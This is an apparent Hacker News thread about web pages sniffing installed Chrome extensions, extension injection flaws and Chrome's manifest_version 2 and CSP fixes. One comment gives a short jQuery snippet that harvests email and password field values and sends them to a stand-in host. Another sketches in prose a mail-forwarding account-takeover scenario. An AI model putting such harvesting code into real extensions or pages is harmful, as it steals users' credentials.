4 ms·
Web pages can sniff to see what Chrome extensions you have installed
- ig1 15y agoChrome extension are probably a major source of untapped security holes. No-one really considers security when writing them and they often take arbitrary input (in the form of webpages they're processing) without validation. It wouldn't surprise me if a lot of them have javascript injection vulnerabilities that allow for privilege escalation.
- capo 15y agoWe've introduced a new manifest version attribute in the extension manifest in Chrome 18 (currently in beta). When a developer updates his or her extension to use manifest_version 2, Chrome will enforce the following CSP policy by default: script-src 'self'; object-src 'self' This policy imposes the following restrictions on extensions: Extensions can no longer use inline scripts, such as <script> ... </script>. Instead, extensions must use out-of-line scripts loaded from within their package, such as <script src="foo.js"></script>. Extensions can no longer use eval(). Note: If you’re using eval to parse JSON today, we suggest using JSON.parse instead. Extensions can load plug-ins, such as SWF files, only from within their package or from a whitelist of HTTPS hosts. http://blog.chromium.org/2012/02/more-secure-extensions-by-default.html http://blog.chromium.org/2012/02/more-secure-extensions-by-d...
- benmccann 15y agoI replied to your comment below (where you said the same thing), but it's not clear to me that CSP changes anything.
- aboodman 15y agoThe CSP changes primarily address the XSS issue in extensions. Many of these vulnerabilities come because extension developers run code from untrusted sources. CSP blocks that in most cases. Separately, we implemented web_accessible_resources. That addresses the sniffing issues.
- Xk 15y agoResearchers at UC Berkeley studied this exact question. About 40% of extensions contain at least one injection vulnerability. Some really popular extensions were vulnerable -- even a couple Google authored ones. http://www.eecs.berkeley.edu/~afelt/extensionvulnerabilities.pdf http://www.eecs.berkeley.edu/~afelt/extensionvulnerabilities...
- aboodman 15y agoFrom the same paper: Starting with Chrome 18, extensions will be subject to a CSP that enforces some of these bans [13]. Our study partially motivated their decision to adopt the bans [1], although the policy that they adopted is slightly stricter than our recommendations. The mandatory policy in Chrome 18 will ban HTTP scripts in core extensions, inline scripts, and dynamic code generation. Due to technical limitations, they are not adopting a ban on adding HTTP scripts to HTTPS websites. The policy will remove all of the core extension vulnerabilities that we found. The only extensions that the policy will permanently break are the two extensions that rely on eval. The paper is mistaken in that these changes are actually coming with the manifest_version=2 property that is optional starting with Chrome 18, not required. However, we will be slowly transitioning the ecosystem over to this version and will eventually require it.
- jQueryIsAwesome 15y agoI am more concern with the overconfidence of some user over their extensions/updates; a extension with many users can suddenly include something like: $('.email, input[type=password]').val(send_to_database)
- JohnQPasserby 15y agowhy would the attacker setting the password field be a problem
- jQueryIsAwesome 15y agofunction send_to_database(val){ $.getJSON('http://example.com/data.json',{data: val},function(){}) return val }
- deleted 15y ago[deleted]
- nitrogen 15y agoThat looks like it retrieves the value of any element with the class name of .email and any password input (i.e. harvesting e-mail addresses and passwords). http://api.jquery.com/val/#val2 http://api.jquery.com/val/#val2
- catshirt 15y agofair enough, but i'm not sure i'd agree. it's much easier to detect a malicious extension than to detect a page you are about to visit is going to exploit the negligence of one of the extensions. firstly, the extension source is available meaning it's open to review and criticism. more so, the concern here is even if i am careful about the extensions i install, i am still vulnerable.
- deleted 15y ago[deleted]
- capo 15y agoThat's why they're transitioning to "manifest_version 2" (CSP): http://blog.chromium.org/2012/02/more-secure-extensions-by-default.html http://blog.chromium.org/2012/02/more-secure-extensions-by-d...
- benmccann 15y agoInteresting. So CSP will stop web pages from loading content located at the chrome-extension:// scheme? From the docs it seems that it will stop the extension from loading certain resources, but it's not clear that it will stop the page from loading extension resources. http://code.google.com/chrome/extensions/trunk/contentSecurityPolicy.html http://code.google.com/chrome/extensions/trunk/contentSecuri...
- abarth 15y agoCSP doesn't impose that restriction, but it's something we're changing at the same time: "A package's resources are no longer available by default to external websites (as the src of an image, or a script tag)." http://code.google.com/chrome/extensions/dev/manifestVersion.html http://code.google.com/chrome/extensions/dev/manifestVersion...
- mbrubeck 15y agoThis seems like a great way to limit the damage from a security hole in an extension. (It prevents web content from loading arbitrary code and running it with the extension's privileges.) But it doesn't appear to address the sniffing issue at all. UPDATE: Sniffing is prevented in manifest_version 2, but not by the CSP. See my reply to andrewcooke below for more details.
- capo 15y agoInterestingly the "enumerator" tool doesn't list all my extensions, and it lists even less when testing on the machine running the beta channel (18). Similar behavior Firefox exhibits regarding: http://ha.ckers.org/weird/firefox-extentions.html http://ha.ckers.org/weird/firefox-extentions.html
- exaakax 15y agoIt was through the Flash extension that Chrome was hacked in 5 minutes in a recent Pwn2own contest
- icebraining 15y agoFlash is actually a plugin, not an extension. The difference is that plugins are designed to render content that the browser cannot, while extensions simply add new features to the browser or change the behavior of existing ones.
- cowkingdeluxe 15y agoCan't you do this in Firefox and other browsers too? I thought that was one of the reasons why your browser can be uniquely identified.
- capo 15y agoYup: https://panopticlick.eff.org/ https://panopticlick.eff.org/ Also: http://ha.ckers.org/weird/firefox-extentions.html http://ha.ckers.org/weird/firefox-extentions.html
- dfc 15y agoMy plugin set provides more bits of identifying information than my browser string. Which says a lot since I am using iceweasel...
- azakai 15y agoThose look very limited in their ability to detect addons.
- phaker 15y agoThe ha.ckers.org test is not working for me :( so it appears that this particular hole is fixed.
- mbrubeck 15y agoFirefox divides browser add-ons into several categories (as do other browsers, but I'm most familiar with the Firefox terminology), including: * Extensions * Plug-ins * Search engines * Themes "Plug-ins" are a particular type of add-on registered to handle specific media types in <embed> and <object> elements. There are a relatively small number of common plug-ins, including Flash, Java, Silverlight, and Quicktime. They are designed to be exposed to web content, so web pages can easily test for them. The EFF Panopticlick demo uses plug-in sniffing as part of its fingerprinting. "Extensions" are add-ons that use browser APIs to modify the behavior of the browser application. There are a huge variety of popular extensions, including Adblock Plus, Greasemonkey, Chrome To Phone, Stylish, Tree Style Tabs, etc. In general, a web page can detect an extension only if it modifies the pages or takes some other action to expose itself to scripts on the page. However, this bug report and blog post demonstrate a way for a web page to detect a Chrome extension even if it does not take such actions. And one of capo's links in this thread demonstrates a similar method that works for many Firefox extensions. Plug-in sniffing is possible in all browsers that support plug-ins, and there's no simple fix without breaking web compatibility. Extension sniffing depends on both the browser and the extension, and there are reasonable ways it could be fixed or mitigated.
- abarth 15y agoThis is fixed in manifest_version 2: "A package's resources are no longer available by default to external websites (as the src of an image, or a script tag). If you want a website to be able to load a resource contained in your package, you'll need to explicitly whitelist it via the web_accessible_resources manifest attribute." http://code.google.com/chrome/extensions/dev/manifestVersion.html http://code.google.com/chrome/extensions/dev/manifestVersion... See <http://blog.chromium.org/2012/02/more-secure-extensions-by-default.html> http://blog.chromium.org/2012/02/more-secure-extensions-by-d...; for information about other security improvements in manifest_version 2.
- aboodman 15y agomanifest version 2 is not backward compatible, so most extensions should not update yet. When Chrome 18 is deployed to the stable channel, we will update the docs and begin slowly encouraging developers to transition. In the shorter term, developers who want to prevent their extensions from being trivially detected can use the web_accessible_resources property instead: http://code.google.com/chrome/extensions/dev/manifest.html#web_accessible_resources http://code.google.com/chrome/extensions/dev/manifest.html#w.... This property is available in Chrome 19 and higher and is ignored in older versions.
- sses 15y agoWhat are the security implications? A malicious page can attempt to exploit a buggy extension whether it knows the extension is present or not.
- chrisacky 15y agoImplications.... Lets assume that malicious page A, can figure out what extensions a user is running. They figure out that some user has extensions, A, B, C and D. Extension D is actually an email client extension which is terribly coded. The victim uses the very same email provider for all of his mail. The malicious website figures out that he can safely send POSTs to the mail provider through this extension that will alter the victims mails filter. So the malicious website tells it to forward all email received to `foobar@email.com`. Additionally, any email from @super-bank.com should be deleted. And any emails from @godaddy.com should also be deleted after it gets forwarded to the malicious user. Now, the malicious user requests new passwords on Godaddy for example and receives the passwords then he transfers all of his domains out. Win for the malicious website.
- simonbrown 15y agoIt can attempt to do that anyway. Whether it knows extension D is installed or not.
- arpitnext 15y agohttp://blog.arpitnext.com/2011/08/chrome-extension-awesome-screenshot.html http://blog.arpitnext.com/2011/08/chrome-extension-awesome-s...
- alanh 15y agoAlso somewhat annoyingly (and not just limited to Chrome), extensions & bookmarklets can show up if you save or archive the web page for some reason.